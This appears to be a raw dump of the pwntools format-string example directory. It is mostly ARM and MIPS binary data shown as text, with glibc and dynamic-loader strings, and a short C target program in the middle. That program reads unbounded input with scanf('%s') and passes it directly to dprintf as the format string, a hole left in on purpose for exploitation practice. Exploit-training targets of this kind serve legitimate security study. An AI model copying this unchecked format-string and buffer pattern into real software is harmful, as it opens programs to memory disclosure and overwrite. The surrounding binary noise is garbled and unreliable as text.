n p r t v x z | ~ 56789023456789?libcANSI_X3.4-1968T    06'-LLLLLLLLLLLLL  UUUU?3333*$I$qtEUUU;$I8^Cy 0 ,d! p= ^B{ I$ B|uPq$_flags2 & _IO_FLAGS2_FORTIFY*** invalid %N$ use detected *** (unsigned int) done < (unsigned int) INT_MAX(size_t) done <= (size_t) INT_MAX*** %n in writable segment detected *** __mbsinit (&mbstate)printf_positional_IO_vfprintf_internal(null)NANINFinfnanNANINFinfnan0.0001printf_fphex.c*decimal != '\0' && decimalwc != L'\0'__printf_fphex`+`+`+`+`+`+`+`+`+`+`+`+`+`+46L30(66*|.D/433.5`+`+`+       JXXPXXS$WUTWpWhP,IL,POOLTRSJPLtL|IQDL,IVJJJJJJJJJWpWhP,IL,POOLTRSJPLtL|IQDL,IJJJJJJJJJJJpWhP,IL,POOLTRSJPLtL|IQDL,IJJJJJJJJJJJPJJJ,POOLTJJJJLJJJJJJJJJJJJJJJJJJJJ,POOLTRSJPLtL|IQJJJJJJJJJJJJJJ,IJJ,POOLTRSJPLtL|IQJJJ_IO_vfwprintf(nil)(null)to_inpunctvfscanf.ccnt < MB_LEN_MAX_IO_vfscanf_internalSuccessOperation not permittedNo such file or directoryNo such processInterrupted system callInput/output errorNo such device or addressArgument list too longExec format errorBad file descriptorNo child processesResource temporarily unavailableCannot allocate memoryPermission deniedBad addressBlock device requiredDevice or resource busyFile existsInvalid cross-device linkNo such deviceNot a directoryIs a directoryInvalid argumentToo many open files in systemToo many open filesInappropriate ioctl for deviceText file busyFile too largeNo space left on deviceIllegal seekRead-only file systemToo many linksBroken pipeNumerical argument out of domainNumerical result out of rangeResource deadlock avoidedFile name too longNo locks availableFunction not implementedDirectory not emptyToo many levels of symbolic linksNo message of desired typeIdentifier removedChannel number out of rangeLevel 2 not synchronizedLevel 3 haltedLevel 3 resetLink number out of rangeProtocol driver not attachedNo CSI structure availableLevel 2 haltedInvalid exchangeInvalid request descriptorExchange fullNo anodeInvalid request codeInvalid slotBad font file formatDevice not a streamNo data availableTimer expiredOut of streams resourcesMachine is not on the networkPackage not installedObject is remoteLink has been severedAdvertise errorSrmount errorCommunication error on sendProtocol errorMultihop attemptedRFS specific errorBad messageValue too large for defined data typeName not unique on networkFile descriptor in bad stateRemote address changedCan not access a needed shared libraryAccessing a corrupted shared library.lib section in a.out corruptedAttempting to link in too many shared librariesCannot exec a shared library directlyInvalid or incomplete multibyte or wide characterInterrupted system call should be restartedStreams pipe errorToo many usersSocket operation on non-socketDestination address requiredMessage too longProtocol wrong type for socketProtocol not availableProtocol not supportedSocket type not supportedOperation not supportedProtocol family not supportedAddress family not supported by protocolAddress already in useCannot assign requested addressNetwork is downNetwork is unreachableNetwork dropped connection on resetSoftware caused connection abortConnection reset by peerNo buffer space availableTransport endpoint is already connectedTransport endpoint is not connectedCannot send after transport endpoint shutdownToo many references: cannot spliceConnection timed outConnection refusedHost is downNo route to hostOperation already in progressOperation now in progressStale file handleStructure needs cleaningNot a XENIX named type fileNo XENIX semaphores availableIs a named type fileRemote I/O errorDisk quota exceededNo medium foundWrong medium typeOperation canceledRequired key not availableKey has expiredKey has been revokedKey was rejected by serviceOwner diedState not recoverableOperation not possible due to RF-killMemory page has hardware errorDLd,Ph|$DXx8Th|8HXt $4L`t$@Pdx(Pp(<Ll $Dp4Px,@`|(8L`|  0000000000000000 00000000000000008XXD8Liofwide.c_IO_fwidembrtowc.c__mbrtowcwcrtomb.c__wcrtombwcsrtombs.cdata.__outbuf[-1] == '\0'data.__outbuf != (unsigned char *) dst__wcsrtombs/proc/self/maps/lib/arm-linux-gnueabi//usr/lib/arm-linux-gnueabi//lib//usr/lib/ ELFELFELF@GNUcannot allocate name recorddl-load.clastp != NULLcannot close file descriptorcannot create shared object descriptorcannot read file datacannot allocate memory for program headerobject file has no dynamic sectionshared object cannot be dlopen()edcannot enable executable stack as shared object requirescannot stat shared objectELF load command alignment not page-alignedELF load command address/offset not properly alignedobject file has no loadable segmentscannot dynamically load executablefailed to map segment from shared objectcannot map zero-fill pagescannot change memory protectionsfile=%s [%lu]; generating link map r->r_state == RT_ADDfalse && "TLS not initialized in static application"type != ET_EXEC || l->l_type == lt_executable dynamic: 0x%0*lx base: 0x%0*lx size: 0x%0*Zx entry: 0x%0*lx phdr: 0x%0*lx phnum: %*u invalid section len %lu, max remaining %lu aeabi ignoring unknown attr section %s invalid subsection length %lu, max allowed %lu ignoring unknown subsection with type %lu length %lu file too shortinvalid ELF headerELF file data encoding not little-endianELF file version ident does not match current oneELF file OS ABI invalidUnable to run arch-specific checks ELF file ABI version invalidnonzero padding in e_identinternal errorELF file version does not match current oneonly ET_DYN and ET_EXEC can be loadedELF file's phentsize not the expected size:%s
search path= (%s from file %s) (%s) trying file=%s ORIGINPLATFORMLIBlib/arm-linux-gnueabi(l)->l_name[0] == '\0' || IS_RTLD (l)cannot create cache for search pathcannot create RUNPATH/RPATH copycannot create search path arraysystem search pathpelem->dirname[0] == '/':; file=%s [%lu]; needed by %s [%lu] file=%s [%lu]; dynamically loaded by %s [%lu] nsid >= 0nsid < GL(dl_nns)ld-linux.so.3ld-linux-armhf.so.3find library=%s [%lu]; searching RPATHRUNPATHwrong ELF class: ELFCLASS64cannot open shared object file_dl_map_object_from_fdadd_name_to_object_dl_map_objectexpand_dynamic_string_token_dl_init_pathsdl-lookup.cversion->filename == NULL || ! _dl_name_match_p (version->filename, map)symbol=%s; lookup in file=%s [%lu] (no version symbols), version protectednormalversion == NULL || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0version != NULLsymbol %s version %s not defined in file %s with link time reference%srelocation errorundefined symbol: %s%s%ssymbol lookup error file=%s [%lu]; needed by %s [%lu] (relocation dependency) binding file %s [%lu] to %s [%lu]: %s symbol `%s' [%s] (bitmask_nwords & (bitmask_nwords - 1)) == 0_dl_setup_hashcheck_match_dl_lookup_symbol_xunexpected reloc type 0xunexpected PLT reloc type 0xcould not map page for fixup../sysdeps/arm/dl-machine.hfix_offset == 0R_ARM_PC24 relocation out of rangecannot allocate memory in static TLS block (lazy)cannot make segment writable for relocationcannot restore segment prot after reloc relocation processing: %s%s %s: Symbol `%s' has different size in shared object, consider re-linking %s: out of memory to store relocation results for %s cannot apply additional memory protection after relocationrelocate_pc24GNU/etc/ld.so.nohwcapcannot create capability listtlsdl-hwcaps.cm == cnt_dl_important_hwcaps =???dl-misc.cpid >= 0 && sizeof (pid_t) <= 4niov < NIOVMAX! "invalid format specifier"_dl_debug_vdprintf%s: cannot open file: %s %s: cannot stat file: %s %s: cannot map file: %s %s: cannot create file: %s seconds.profile%s: file is no correct profile data file for `%s' Out of memory while initializing profiler cannot allocate memory for thread-local data: ABORT dl-tls.cresult <= GL(dl_tls_max_dtv_idx) + 1result == GL(dl_tls_max_dtv_idx) + 1listp->slotinfo[cnt].gen <= GL(dl_tls_generation)map->l_tls_modid == total + cntmap->l_tls_blocksize >= map->l_tls_initimage_sizelistp != NULLidx == 0cannot create TLS data structuresdlopen_dl_add_to_slotinfo_dl_allocate_tls_init_dl_next_tls_modid/proc/self/exe../sysdeps/unix/sysv/linux/dl-origin.clinkval[0] == '/'_dl_get_originFatal error: length accounting in _dl_exception_create_format Fatal error: invalid format in exception string out of memory/etc/ld.so.cache search cache=%s ld.so-1.7.0glibc-ld.so.cache1.1GLIBC_PRIVATE_dl_open_hook_dl_open_hook2error while loading shared libraries%s: %s: %s%s%s%s%s DYNAMIC LINKER BUG!!!L  |+|+^[yY]^[nN]L.|+|+|+|+|+|+|+               |+|+              u'u' L|+|+.L  $(,048<DPX`hpx|+|+|+|+|+|+|+ 0@P`p$@dt$Dh$Hlx :0|+P<DPX`hpx$Dh$H  $(,048dtSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z %YSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z %YL)L |+|+|+|+|+%p%t%g%t%m%t%fL |+|+|+|+|+|+|+|+|+|+%a%N%f%N%d%N%b%N%s %h %e %r%N%C-%z %T%N%c%NL|+|+|++%c %a %lLi18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999L,Hx|+|+|+|+$ISO/IEC 14652 i18n FDCC-setISO/IEC JTC1/SC22/WG20 - internationalizationC/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn VKeld Simonsenkeld@dkuug.dk+45 3122-6543+45 3325-6543ISO1.01997-12-20Lx  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~UUUUUUUU?33333333*$I$I$qqqE]tEUUUUUUU;;I$I$I8885P^Cy 0 0 0 袋. ,d! p= ףp= ؉؉ %^B{ $I$I$ =B!B|PuPuPqqstrtod_l.cdigcnt > 0*nsize < MPNSIZEdecimal_len > 0initylead_zero == 0 && int_no <= (uintmax_t) INTMAX_MAX / 4lead_zero == 0 && int_no <= (uintmax_t) INTMAX_MAXdig_no >= int_nolead_zero <= (base == 16 ? ((uintmax_t) exponent - (uintmax_t) INTMAX_MIN) / 4 : ((uintmax_t) exponent - (uintmax_t) INTMAX_MIN))bits != 0int_no <= (uintmax_t) (exponent < 0 ? (INTMAX_MAX - bits + 1) / 4 : (INTMAX_MAX - exponent - bits + 1) / 4)dig_no > int_no && exponent <= 0 && exponent >= MIN_10_EXP - (DIG + 2)int_no > 0 && exponent == 0int_no == 0 && *startp != L_('0')need_frac_digits > 0numsize == 1 && n < dnumsize == densizecy != 0str_to_mpn____strtof_l_internalnumsize < RETURN_LIMB_SIZEempty == 1____strtod_l_internalrshift.cusize != 0 && cnt != 0__mpn_rshift d'@Bʚ;  62kg /SPL8mJ G d'o#ſt[Am-jd8n헧?O>. 8/t#ڰͼ3&N|.[Ӿr؇/PkpnJؕnq&fƭ$6ZB<TcsUe(U܀n_SlgrwFo]:FGWvyuD;s(!>p%"/.Q]OᖬW2Sq$^c_䭫*sf\wI[iCsFEHis 84c)r+[[!|nN5 }L,D4fl}C}Ο+#U>#`e!Q4\Ycɟ+1*ZibBtz["؊4س?ŏmk1Ke6ukG܉ـ( f13j~{j6h߸r_info) == ELF_MACHINE_JMP_SLOT_dl_profile_fixup_dl_fixupcannot extend global scope add %s [%lu] to global scope dl-open.cns == l->l_nsinvalid mode for dlopen()no more namespaces available for dlmopen()invalid target namespace in dlmopen()_dl_debug_initialize (0, args.nsid)->r_state == RT_CONSISTENTobject=%s [%lu] scope %u: %s no scope mode & RTLD_NOLOADopening file=%s [%lu]; direct_opencount=%u _dl_debug_initialize (0, args->nsid)->r_state == RT_CONSISTENTcannot create scope listTLS generation counter wrapped! Please report this.imap->l_need_tls_init == 0dl_open_worker_dl_open_dl_find_dso_for_objectdl-close.c! should_be_thereold_map->l_tls_modid == idx closing file=%s; direct_opencount=%u idx == nloaded(*lp)->l_idx >= 0 && (*lp)->l_idx < nloadedjmap->l_idx >= 0 && jmap->l_idx < nloadedimap->l_ns == nsidimap->l_type == lt_loaded && (imap->l_flags_1 & DF_1_NODELETE) == 0 calling fini: %s [%lu] tmap->l_ns == nsiddlcloseimap->l_type == lt_loadednsid == LM_ID_BASEimap->l_prev != NULL file=%s [%lu]; destroying link map TLS generation counter wrapped! Please report as described in . shared object not openremove_slotinfo_dl_close_workerinvalid mode parameterDST not allowed in SUID/SGID programsdl-deps.ccannot load auxiliary `%s' because of empty dynamic string token substitution empty dynamic string token substitutionload auxiliary object=%s requested by file=%s cannot allocate dependency listmap->l_searchlist.r_list == NULLcannot allocate symbol search listFilters not supported with LD_TRACE_PRELINKINGcnt <= nlistmap->l_searchlist.r_list[0] == map_dl_map_object_deps calling init: %s calling preinit: %s unsupported version %s of Verneed recorddl-version.cneeded != NULLchecking for version `%s' in file %s [%lu] required by file %s [%lu] no version information available (required by %s)def_offset != 0unsupported version %s of Verdef recordweak version `%s' not found (required by %s)version `%s' not found (required by %s)version lookup errorcannot allocate version reference tablematch_symbol_dl_check_map_versionsRTLD_NEXT used in code not dynamically loaded4 \@ȖD  (<8<(Ȗp  (<8<(Ȗ܁  <8<(Dh<T |TX<8<(Dh<Tܶ<(DX<8<(DЮh<T$d(TX<8<(8,h\$x `h<p$xtX#`hpx\?  l`,|,X  8D   '  t 0d"%G((9`;@l`CEGGHHI Q,L[p[\ ^lacXd4kkkkHlm0$qPq ssPtHvvv$}},~T|l|ćP<L(pЛhLLT @K RR\ST0UUVVWLXXYYZZeleXfg8i|iGn oppGstu uuxvw`D0pD4xD?DH](H_`G`P@G/x22GtPh<  hT@\"$X/p:;`|'')+..XSlSrHH?8p̊   ?((LHPt̜l $ ^ ^ 0^ $^ \0Phx@4D\p(4=h70( ,`d K |a P R c HQ 33 XS c R 33 d S 33P R XS @T `MLRCKUa[TVXlWXntXz[W[W[WXZXa " a a [ Z Z<XZ[ZX7XX`[h`Xa a a [`Xa[aXd[dXdXa [dXf( [fXg[gXgXP a Xa X [gXg[gXh[hXl[l$[l[8oXo$[oXo/[o8oXdp[tpX(qX|+H[4qXhsX6 X7W[psbps`Xt[tXxPdxbxtTxxDxX4XX5 F5T [,m,mlXmX ;[mmTXp[dqXw[(X$X,Q(X](g(xq([Xp[Xx[4}([X[X([X[ XT([XX[XH[TX([pX[([X[X([X8[<Xd([hX[X([(@X[(X(" [X)"[X([X))@X 5)[(XX[(X@)" [Xl%Z)8#[%X;[;X"t)"@X )[;)[;X\<)[h<X4=)[@=[=)[(>XD)[D)[>h ,>Ȗ?>RO>Ⱦ`>T>t>hVH ">| >E8>>ȿb ">fpVD">R>S\ ??dW)?,^ 2?P M?h tLFD^?$4"e?h<r? ?̪?5K"D"?$?0\ ??P ?}|?XS  @D-@L=@|| ;@ ,"O@d|^8oT>| "\@L~l@"o@5 E8"@NHH!3l"@0X@h @@l@#LADJAz('A^ 5AdLA%cAh hg8"oAP |Aб$AXT$AbDAdHA\0:; "A4<A(AB!B $-B H=BWB$mB|"~B( BLBXB BBh B|8Nt"C\'C`P:CdJCg4RR"]C\mCzPzC`C$C$C"CC8"CXD\ y"CZP55}"CEHd !Dd$D4,D{t"7D` @DRDH`DlDttwDDDرD$DHDp4cLD4DEزl]Z""ENhl "E@ G8"H8"G@{tGH "GG `tH  06`,"9,|$"H$`"-H#=HJH[H"mHHHH!Hh HTHH%H1H$HPH8I|z I02I8d !HI|TH6S"_I5 uI.UPy@"IR"\ y\(0\0]; "]X^8oT"(]8Q@d|"<]4 N],"U]܁4J; "i]s]D]X`]bd]S] #include #include #include #define MEMORY_ADDRESS ((void*)0x11110000) #define MEMORY_SIZE 1024 #define TARGET ((int *) 0x11110100) int main(int argc, char const *argv[]) { char buff[1024]; void *ptr = NULL; int *my_var = TARGET; ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(ptr != MEMORY_ADDRESS) { perror("mmap"); return EXIT_FAILURE; } *my_var = 0x41414141; write(1, &my_var, sizeof(int *)); scanf("%s", buff); dprintf(2, buff); write(1, "DONE", 4); write(1, my_var, sizeof(int)); return 0; } Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf.mips000077500000000000000000024430341507273764500235500ustar00rootroot00000000000000ELF@4 @Tp4 (%$pX@X@Xpp@p@p@@DIDID>L4@4@4 @@$$II0dtRDIDID''GNU JGNUz&hoۙ\z< '!'௼4@4 <K'0'9< <K'4'9* ' '<H<E$'9kl $`4<B'9πs$<JD<K''$0$8$<,<"4$&yO P<G &$<$$#)4D <AA$$BAA' $bu.'$<H(% `${$(%<G$$< u$$$u %Տ0,'8%<K'%'$$' $ <J<J$$BD<K'`  <J<J$$E(#(E(!(C<K't  '<K(<J',$ b@#<J<J& $B<J#<J$R"&P+` $B"C!Y "P+`$B 8(@(<I $P$b,($ '0<K'',@<J,<I$ $PF' <K'`'%D@B,B$d d !<JbPCD$@<B'9 @ C`n0 ҌD<JC<JDPbb<J|Blb鐏p@p <JB$BCC`%<Jb錏@<@0%'9y(% F@<@0%'9yw(%B@<@'9 % F<B(%'9h %<@'9f'@@|;`%gc쏥' C<@'9w@ %|%`$ d* <G<G<G<@$<$$<'9'$<$de,d!C<B'9 @)c`!C+b<$cC*@p<G<A'9t-@$ h!((%b$q! @ %k& $dpg$ <G<A'9t,p$<<J$@$TU!H$`S$cXL8 `DTHP0pS <!q!Ȭq$4C$@'XRD.CU^`İ!@&B$$($@%@Rr2 (%&H#($%($$(%}$|;bD4b!!'<K0<J<J&,&('$#4 %% %%&10%`(% @ %&<J<J&&# %&10%`(% @ %&40,($ '8'<J<K<J$B$& 'P#@ $Q$$B!&1 &2$  '(<K''P%8L%H%D%@T(ch<@(% $(ԌF@N<G<H$G~@U<G$c<<A'8 '4'9$ (%@<<H4<A${ %'9S$<A('9 D<B($$ %'9Џ@C8b!#C$@(%u8(Q@%$D8<B4'9d?<J(D %A  <Bl]4<@'9h$G<<G<B$$='9ذq$<@<H&~@%'9\v3揼('<@(%$<G%0<H,%4$<$$/'9%`8% 0%(% @ %'<@8%'9"$0%$'('Я%$($$$ ,Q%(C`/ST4 @(% %b $b!Q(C @(%,,Q %($ '0 @(%$d@%$b! , @(% +@@Q%, %($ '0@$@% @(%@%$b,C `<G$c= b!B@0&.10+:1+:1+0+0#0!<@'9f$0<@'9f$0r00&+'، %%$@"$"@&%<B&%b@%%bD@ %%bD@$B#C#$ '(%ߌ'Я%(%%,$ `dC+`,<B$&R`!@%%&(%@ %@%k$BQ+`&,%($ '0@%<K'x'%8h%8|xtpld`< $c\@<@`%E$$cb@$P&%@ߎ%&$C$`5%$@C%B@&P&(#@%@&"<B'9Qp@(%@6B쏙&`%$$`%$lKM %B@x}%|$#<K''$%C$C $C  %lK('    %lK' <K''0%4,($ ?$!q &%&%P!$`%d$BF$cdI$@&sP!TU&Pq&&sP40,($ '8&P!&  %P%40,($ '8dH$@@U<K''<G<G8'L'ܯ%0%AB&@l$$ȯ<G%$B@ܯ$%4<G $B@  L8($!$BD$ӏ8 %<G$A !D!,E7T(!<G$B@b!D<G,$B@L!C$C#"!0B<G($> (!($4$$&1&!bD$B,C7`T!ce$C!C`<&1"$8($ 0lJN %0 %c$  '($#'@"$%D& ʯ@&%$$!,b7@$t!BF$4 !@&$B ! +<#,.R'C@&1$Bd$',R'R @%d ! @H$@@%@(%0%V@ %$&i"H$H! 0%V %@H% ,l %I诩,&&sЀ!Ә!&1+`1!%$ b<!%%$C!C` (%(@$B(<&1$"6% $ $ c$$8%# %"$#`Q8&%&$|$#$)$"'@H&D ʯ@&%쏼$l$"&%&$f$$0% % &&%@&$$YF(% %0% &&%$O$"$$'@@ &&%$C$#'@"$5$#'@"$/$b!Ac$%$0,} %H<G$>X0!%$<G<G$@\ !(@%(##$@$!c$88$$8$$<$8$$<$ 8$$<$ $=V88$!$ $=F88$ $<x$$=I88$$<m$$=ď8$$$$ b<8$$<[$ 8$$<T$%J ! @ !E$Я<$0, <8$@$ $$$z%$$$$ 3<$$$$ ,<$$$$ %$C%<K''$0%,%(%4`$$ $@2<B  %@$SRQ C$ (B@%4%0,($'8$ (B@$$$8%$ 4%0,($'8'9a %ʏ<J,$0<K|;''<@'9z$C!B$'(<K|;''<@8%'9z$C!B$'(<K''0%(%<84,$ ~%%$c,%@aPcD4@!B0B @ `%&@!B0B @`$-bo$+b%$0$ $%%<H<H$/$/d!E!2llGPj<J$BlJ4H%K<&-%(%$0c,h   Ip%@C!c0c`T d !$c0cf *M +(G$ +p !D$$@(%  < #|;` %%d!$d<840,($ '@p $ PCr,B$B,B~@|t( y &$@%%$co%%$c$c(!@(!%#(B@$X<JBC!BD$0b&%%@/$$ n%<J$d$ <J$XBC!BD]$&$%Y%&K%$X$Bl C<d!ce$0<H$g/<H%%Sl/`%<B'9J! %@O@%&&0!eD$c$B %%$+$ |;` %$d!$"gd27<J(%$BlJ4K<$<A$,B @&% 8%$B"$h$cQ+@@B!B0B@b!B(BA@$$<A@8%'90% %$@%$ $$ %(%'د$ 8%$'('ȯ(%40,$ =<B%'9 %%I%+`1& $ $Oh!`#$&&P+@(!$BM#I!1 P%` D$B&@ %h$h$c0+@ #$BbC*` %"!+@&+ %40,($ '8%JN%kn#S*@% %'9%2@&1X%S@p+@OX!`P% P+bI&` %$C`$BP+@j#r2@2X%Sp+`OX! P!bI&` % $C`$BP+@%4%km쏿4%0,($ '8<K'''0 0@0%48$ $ '(D`)<K'''0 0@0%48 $ t$ '(D` <K''488%< %0,B$@%<G&<<H&~@%<B$'9H7'$<H<A$c'98% 0%q` %$Bb<840,'@D_<K''|;$(%؏40C!,Fl@ <A4 (%0,($ '8'9 $R<B'9<VV@ %@%R<G$@ %$C,@%@@ %   (%B0B @b4B b4@ %0,($'8<B'90U` %<K''(<@D ($8,%P40#0B@%|;H$tpT%`$$ $@<<BHC$Bb<<D'D%LHD@<840'P0(%`0% @ %@%<C'95 @%|;$C!$O۬C4+@&&򏙀d= %@@%'$$<B''9Ь0%@ %O$Pl?| %^~0`0%(% @ %@%<K'',@D840("$3%'@0B@ |;H$rpR `$$ $@/<BH$B ! %@%0c`H$B@ $@%#40,('8ΌP$ (B@$$8%$ '9]HάD^<K''0HL8<84,"$8%'H0B@ |;H$rpR `$$ $@4<BH$B< % 6B !<@%0c`<H$B@$`%# <840,'@ɌP$ (B@$$8%$ '9]5HɬD]<K''0C %,($ `O0C`T|B@#`4H$B@u4C #C#+@}<AY(%  %l@^X<JC`$$A $@v<B<B&s(p`%f$`%fLB$A (B@]$<JBhP <JBdP<JB`Pl>\ %, %($ '0<A'9|0C`|;H$qpq`$$ $@<<BH$c0C `0C<A'9 %@%0c$@<A'9v %$ (B@$$8%$ ~4'9 Y&D$8%$ <J'9\&D<B'9\{%0B@H$B@,  %$ (B@$$8%$ ,<K''$r,<840($C%$wC$aC$|;%C!$C<`%840,($'@$%$+$m$ClDh@<B$<B$&l%R@ %$CR0C`Q2#`2#`0C`b$%d;$`@@@%$B%H&2"@I<J<J80%$B(% %<J$B<A'9L %$ﳎ8C$Q%$21"<4# #C#+@9<A$8%0%9@  %$Db<|;` %$D!BC`%%$d2#`2#$21$$80%$B(% %<J$B4F%R)@ %$Cߏ$'9 $M<A<K''0B%$ @4# #C#+@=<A90  %+0c`#H$B@$ % '(|;H$qpQ `$$ $@<BH$BЬ$ (B@$$8%$ ֏$'9 '9 90'9[Hޏ%0B@H$B@,  %$ (B@$$8%$ ,<0c` %0c`l`<J$cD\<J$$cDD\<K''$%,$`(%%40d: @>@%8$B&H<J0%$B(% %<J<A$B'9 %C<A`8%'9x@0% (% %@+%<0B@40B@ 4%0,($ '8l@<J\$Bb4%0,($ '8%<J$c$B\b<A %'9|s%l<2 %Տ4%P$<K''<88X4%@%  %LHDB9, \` @'(8#d@888!g%g,C*LHD@<84'P'(($$d0$bh,$e,d8h4bb9   %S U\ڌg$4c ׮ DZ<K''0CdX%8|xtplh`\ dT`4B \DC+`1+`XC$HD0$E,I,@D8CCI4B'@Y  @ %\@ dc +`$C<B|;`(%$ !$X4c Tc|xtplhd`\X'(%'9@GaF0# d#C! @/\b@0B@4<Jd"0C`' %|;%H$tpt %`$$ $@><Bd%H$c|;` %$d!$ dȮ 4$0BCԨ#"0B@$H$B@Ԩ#<A %'95<B<A\'@$c%<&@D(DDDDDD 4#U+@P< % 98@(% 0#@V $PT8!Z/Î\D !(!0+T(!$0&(,P&)$8%,%4U (%""Y  @ % @%\$D>$D<G %+@_#.@1'D0%G%4#U+@< 'D#@S($ @YM$$4PT$/Î\&(,%,&)$0%4$8 $t'D8 #4~!0D8+ (% %@0%G6,@ %8,0!4@8%"`0%"Y  (% @ #( !( % 0% W8#S# 0% 4 |;` %$d!$Xɬd4 $(d l:D$C$<E'9  %ڏ $l:5$C$<A'9 %  $ (B@$$8%$ <AB#U+@ <A  $"'9X % '9d<G<G<@$CX$#$C0'9|$C$9<K'Ќ<D$߯ '%(C$$$$ ,'9X(%% % 0R @ 0 `"!|;`0%$ f!ce "!%,D%$( '0 %`,$D%( '0%%<K''04,%4C###b+@H9@  %@PT40,'8<A$'9 $돦 $$<B'9GS8<K''PN%@ % ' <K\<J''$B%<JP$B0b@ <J% ' \$cd<J$ch<K''0B4,(8%0%$%<4T#@&4#$$TPq+ X<AY< %0% `(%D@%@1<Al `# <840, %($'@Gq+`8<A8#$7ïY@  %$DTPT#0c`ݏ<ێ $'9 T@0%R`(%$BlD `ʮb㏿<%8 %40,($'@'9Y<'9Ď<K''040,($ @ůb+@g@%04<JdB0C`f4|;EH$qpq`$$ $@<BdEH0B4$c$CO##S+@<A  $B0B@G#<A'9  %Q#3+  u @(%Y8 % 0#@Y$PTb!]D !e(!+TE!PB40,($ '8b40,($ '8$0B@ %C#B0B@DH$B@$ (B@$$8%$ <A$l0Q$C$<A'9 %0d쏑4@4c$$$TPÎB4c h@ %<A'9|;`%4 $ b!$d'9N %O'9\dB%0B@DH$B@,  %$ (B@$$8%$ ,' <B'9\(#%H@ %<B8'9 E' <K''دܯ%84%C #C#௼+@|<AYH'(  %@r@%@4 0BC(#<B'9\Hsl  @Y<J$B\$b@%#䏳܏؏'菢`dS%`<B@'9\@N<<B$'9G $S!@#$c$h$(!($e0+B +`P<B! d8#T7ÎPH# G#h#(+Te#f(*P8G+`68<B!'9௠` %C #/94B <J<J$c$B (#'9YHb+@<B$&s<Bb0!'9\0$ !G(#d! &sb!$'9MH0$$C @ %dS! PvT<B '9\@ %G(#`DN<B'9C8'، %G8#$C7<B8'9C@0%`8%#f G  %PT$ '($4c <K''دܯ%84%C #C#௼ +@]<AYH'(  %@ @40BC`l@<J<J$B\b̎"bq䏳܏؏'<J$c$BdE%`@@<+`P$d1TC *b%0+%<B$8$ %'9逯G$ S@%<B8d`'9C`d<B'9\G7@ %$$ TP'9CYHC *%<B<AE0!8%'9@(%  %P sTB!dl`C(! P<JT$Bh<J$cdC@%DMT<K'' $ 2%4# #C#+@ %9$  '(<A'9 %9$  '(<K''(%$% , 2%4# #C#+@ `0%9 ,@(%( %$  '0<A'9`0%@(%9  %,($  '0<K''䏓8쯰%诲௱ܯc@% %Mb+@M%<A'9  %@s@K$a$t<A4##T+@<AH'0  %@H<A'9  %#T+o<A %@ 0% @8%$D2$P($T Ԏd쏴菳䏲܏'Cb+$0B@<A@$ l-$C$<A'9  % $$$PT #D #"#D+C#%!%!d +! `%%<A'9  %$P8T `80C`64e#'# #@+ #$@*+& *C +&& *!G +C# $!D$4 #C#+@<A@  % %|@%40B@U# b8#C#78$G#0$&@#^+@#h *}@%% 0%@8%#T+@<A$@  %@8%`%$%@w#T+@<Ay8 0#$ % ($/*`$C#@#È+#`%$@%r+`'b##+b#P$DHTC!"!r+"!A|;$$ !$40BC<Al%hD !"!+q!J%0B@^4# #C#+@_<A$8%0%9@  %$DPTD#^+@@% !4#bbC!4 #C#+@\<A$8%0%@  %$Db$$ % %@%P$! !0$T%e0%'9B#}$%}%'9$(^+`W@ %!(!U+8!@%'9bH,('9믨$,("$,('9⯣$,(+$'9$'9PTbx$d$DK<B0%8'90?e$'ȯ$%40,( 7<B<B%%&sذ&٠ %`%@0@#%"!C<0%B8 (%0c`@ %%@]A#!C#4c CEPDTD !e!(+DT!CP40,($ '8#%'<K(' 0%,%3#$%&+<8%4@0B@% 1@ %@6SQ3#4+@%B4BB !+#<840,($ '@t 0%`(%81 %@ %@%@%Tv#SQ3#4+@ԏ%+t  %`(% 0%8q!@%׮S4Q# #C#+@а#9 0%(% @ %!<A'99 <K''<%(% %D@840,$@@XD%#2+@<A4<A$B@%$#4&؎0B@?T@M0% 0# +k, [0%5#T+@F98(%  %@IP!#OT7D !(!+TE!PD%#>+@h ̏t % 0%7#@%!0B@ĮT %菼D@%@<840,($ 'H 5#T+@ (%98  %@@D^#4cڮ00#7%G %SD^#<@%@840,($ 'H$l*$D$<A'9  %W@%0%7 %D<^!8@%40,($@ 'H4c '<KL'40,($@9H$bQ$bE%%@]4%c #C#+@P<A@0%y@ 8%  %@U 0#?@*G40+2 P$T$4@% %0,($'8TP'#7Q#F#Q+B#4@% %0,($'8 R#G!F!"+R! (! P$T$ή'9|;$$C!$ԬC$$+`<K''%$ 1 @ b+@$b$ '(4# #C#+@ <A9 %$  '(4c'9<0B@8<B'9׀=<B'9p=W<K''$ 0B $%%,%( CG#+@%d#@%%P+ `(%t@%6M@0%r!#"T!@ 4#,($ '044 #C#+@P<A $  %$C-#" C#,C`@%@BB#%0%@+,%($ '0%# d#F+@!(+ $ f$c$ ec$c%@$,`(% 0h %T+`B##<At(!'9@0%# %B##s#$b@ %$'9 $P+<A'$$4B$ T'9Pc%$8' <A'$$4B$ T'9PO%$8' '<K %'$, %((%0%<@0B@CD`/<B'9pO@ %%`<B4 '9$C$$@͏4 ?5 %ȏ'9ˏl@.$$l<K''0B%$ 